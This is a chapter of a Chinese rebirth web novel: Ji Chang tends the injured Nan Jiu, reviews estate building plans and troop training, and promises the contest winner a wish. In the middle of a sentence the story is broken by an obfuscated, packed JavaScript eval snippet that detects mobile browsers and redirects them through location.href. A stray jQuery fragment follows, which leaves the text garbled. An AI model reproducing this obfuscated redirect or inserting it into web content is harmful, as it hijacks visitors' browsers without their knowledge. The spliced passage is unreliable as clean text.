20. 愿望
作品:《谋士也想翻身做主(重生)》 这几日南玖一直被安排在西巷口的月家别院里住着,毕竟月家大多是女眷,明面上的“男主子”只有季昶一个,总归是不太方便。
虽然比不上月家原本的房子,但好在也算小巧精致,阿青和一众月家的下人负责伺候着他。
大夫说他头上的撞伤和身上的擦伤不算严重,养几日就好了,严重的是他右手臂的骨折,如果不好好养着日后或许就没法写字了。
季昶难免会想起上一世。
上一世的南玖的确是用左手写字,整个人也阴郁的可怕,比后期的桓王有过之而无不及,她经常觉得这俩人像是一个窝里出来的毒虫。
跟现在这个柔柔弱弱的小白花可完全不一样。
“多谢徐大夫了”,几人拜别徐济苍,季昶又对南玖道:“这几日彧璋兄可要仔细养病,莫要再随意乱动了。”
她没再提起那日发生的事,更没有问为何现在了武昌伯府一个来过问的都没有,甚至他身旁连小厮和家丁都没有,让他落单被人差点迫害。
季昶只跟他说让他安心在别院住下,有需要的使唤阿青等人去做。
南玖激动又略带诧异地看着季昶,似乎十分感激她的善解人意,毕竟府中的窘迫情形不比那日自己差点被辱好多少。
若不是实在窘迫,他又何必来参加这次雅会。
这样纯净无暇的脸庞和仿佛小鹿般的目光,让季昶有股子割裂感。
不过毕竟再怎么说那也是上辈子的事,这辈子的南玖还是个小可怜,季昶叹了口气。
诗语从屋外进门,双手抱前朝着南玖行了一礼:“武昌伯安。”
南玖冲她点头赶忙让她起来,似乎不习惯被别人这样郑重对待,整个人看起来有些无措。
“庄子那边来人给郎君您汇报进度了。”诗语只说了这么一句,季昶明白是城西那块地有新进展了。
当初月姨把这片地给了她,季昶打算在此构建大本营,之前还在那边的地下室挖到了四分之一的玉玺。
季昶又习惯性转了一下手上带着的玉戒,点点头表示自己明白了。
南玖看出季昶有事要做,仓促直起身子又不知牵扯到哪儿了,低头咳嗽半天,季昶离得近些下意识给他拍了拍后背让他顺口气。
等季昶意识到自己干了什么的时候,南玖已经咳嗽完了,抬头轻声道:“多谢阿昶。”
季昶在这一声“阿昶”和他抬头望向自己的眼神中僵硬收回手,干巴巴开口:“彧璋兄当心身子。”
阿昶,多雷人啊。
南玖似乎对于自己刚刚叫了季昶那一声后十分满意,又有些不好意思地低头笑了下:“不知道这样称呼是否有些冒犯了......但见到你我就感觉特别亲切,不小心就......”
只要是个有同理心的人,看到这样一幕都不忍心会说什么难听的话。
季昶虽然不是什么有同理心的人,但好在她十分能装又能忍。
“我见彧璋兄也是十分亲切,仿佛曾经见过一般投缘。”可不是上辈子见过。
南玖又笑了下,似乎想起什么来开口:“阿昶若是有事先去处理吧,别耽误你的事了。”
多善解人意的小天使啊,不对,大天使。
季昶看着他高出常人的身量心里默默改口。
上辈子咋就变成那么一个毒夫了呢?
她暂时想不出答案,笑着跟南玖告辞,表示自己之后会经常来看他,迈步离开。
南玖顺着窗外看着季昶远去的身影,见她似乎对阿青交代了几句,不过这边完全听不清说什么,直到她的身影离去很久,才看向早就回到屋里在一旁清理的阿青。
“武昌伯安,郎君都告诉叮嘱了,之前是小的照顾不周,还望您体谅。”阿青看着视线移动过来的南玖,低着头倒是不见之前那般害怕了。
她确实不害怕了,刚刚郎君的意思是自己目前不会被调走,既然自己饭碗保住了,只要顺利完成好郎君交给自己的任务就好了。
南玖微笑点头:“劳烦阿青姑娘了。”
......
别院到月家主宅的路不远,坐马车不过一盏茶时间。
季昶一边心里唾弃自己真是越来越堕落了,不坐马车不出门了,也是染上纨绔恶习了,一边又坐在马车上享受着月家最新研究的软垫,感觉这个软垫坐着不错,之后可以大力推广。
软垫不同于平常贵族一般坐的动物皮毛和方褥等,内里填充物软硬适宜减震效果甚好,而且表面似乎是冰绡材质,摸起来细腻又清凉。
天气回温了,接下来这种清凉面料的制品会更受欢迎。
砚秋停下马车,拿出马凳,诗语为她掀开车帘。
季昶利落下车,随口道:“软垫不错,不过冰绡料贵,过段日子再上市。”
砚秋在一旁点头:“是嘞,工坊那边也说这料子贵,等天气热了定价高些卖给那些士族能大赚一笔。这是前些日子才赶工做出来的,为的是让郎君您先试个新鲜,您说行了那边再做。”
季昶点点头,没说什么。
月家就月云华和季昶两个主子,月云华平日里经常遍地出差不在家,讨好的对象自然大多数落在了季昶头上。
她身边平日里就诗语和砚秋二人最亲近,给些好处让她俩捎点好话也是屡见不鲜了。
季昶并不阻止这些行为,只要这二人忠心获得些好处也是应该的,她二人也知道自己得到这些不过是因为季昶这个主子,所以也知道分寸。
这几日月云华说是出去做生意去了,家里一众事务都落在了季昶身上,当然琐碎的事务还是由苏嬷嬷打理,这次要不是汇报城西那块地的事她肯定也不能专门走一趟。
“郎君。”刘工等人在会客厅等候多时了,一群人里还有一个她熟悉的身影,季昶装作没看到,进门后坐至首位点点头。
诗语给季昶上茶,几人给她行过礼后也纷纷落座。
这是季昶这边的规矩,长话不一定要短说,但得坐下说。
“郎君,房屋图纸我们已经大概有了雏形,您请过目。”说着将手上的图纸双手捧起,由砚秋转手递给了季昶。
季昶低眸看着图纸,听着下一个人的汇报。
“郎君,部曲那边最近已经在城西那边耕作了,开垦出来的耕地已经种完,目前还有大约三分之一的耕地正在开垦。”
陈督长汇报完,欲言又止的看了一眼站在身旁的人,又见季昶没有其他的表示只是低头看着图纸,想了想还是没说什么。
站在他身侧的人正是前几日被季昶罚去庄子的季初。
一开始陈督长听说她被罚了,还以为她得心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298831|166333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有埋怨,前几日还特意观察她来着。
没想到她完全认罚,不仅每日完成惩罚的那几圈,平时训练时也更有劲了,整个人像是打了鸡血。
这也是最近看季初训练刻苦,干农活也比别人干得好干得快才允许她跟着自己来月家。
但看自家郎君的态度,他又有些拿不准了。
虽然他是个耿直的老实人,但也不傻,最后还是偷偷侧过头给了季初一个“自求多福”的眼神。
季初从季昶进门后就一直默默看着她了,虽然心里也有想让郎君看看自己的想法,但知道这一趟的目的是给郎君汇报工作,也只好降低自己的存在感。
季昶继续翻着图纸,把她感觉需要改的图抽出来放在一侧,拿起茶杯喝了一口后又开口:
“部曲们的训练如何?”
季初打起了精神,就听陈督长道:“最近几日部曲们训练的比平日更刻苦了,训练时叫苦喊累的情况也少了,整体精气神都上来了不少,饭吃的也比之前还多了。”
这事主要还是季初的功劳,好多部曲一开始偷偷打听到季初被罚了,虽然不知道她犯了什么事但是都准备看她笑话。
结果当事人不仅跟没事人一样每日多跑那几圈,还训练时更卖力了,让他们都不好意思偷懒了。
于是纷纷也认真训练了起来,有自认为耐力不行的女兵也跟着季初一起每日多跑几圈,到后来也感染了几个男兵跟着一起跑,平日里闹事的都少了。
“嗯。”季昶还是低头看着图纸,“多吃饭是好事,千万不能饿着了。”
她有考虑再过几日给部曲们多加一顿肉食,但是得下个季度看月家账目上的情况跟月云华商量后再决定,现在也只能保证肯定不会让部曲的伙食缺了。
“好,有郎君这么好的主子,他们不努力训练都对不起。”陈督长发自内心的笑了。
图纸差不多看完了,季昶把刚刚她觉需要改正的地方跟刘工说了,又叮嘱了几句后跟陈督长说:
“过几日跟他们说,在部曲之间举行一场比试,前十都有奖励,魁首可以说一个愿望,只要不过分我就可以实现。”
话音刚落,剩下几人都抬头看向季昶,似乎没听明白她说了什么,陈督长最早反应过来,道:“那,那可真是大好事!”
一个愿望。
只要不过分,郎君都可以实现。
季初心中默念着,目光灼灼的盯着季昶,而她像是才看到自己,朝这边看了一眼后点了点头。
季初的内心瞬间火热一片。
郎君刚刚是在鼓励自己吗?那,她是否可以去试试,争一把那个魁首?
直到众人都退下,季初心里还在想着此事。
“郎君这是又有什么锦囊妙计了?”砚秋开口。
按照她对季昶的了解,她虽然对自己人都很大方,可也不至于天天当散财童子,更不必说这个看起来就有些大胆的奖赏。
“锦囊妙计自然是得藏在锦囊里,说出来就不算妙计了。”
砚秋瞪眼,郎君怎么比之前还蔫儿坏了?之前可是什么都跟她俩说,现在越来越不可爱了!又看向诗语,似乎在寻求认同感。
诗语倒是一脸若有所思,没看到砚秋的信号。她刚刚看到郎君跟季初的眼神交流了,有个猜测,心中一时有些复杂。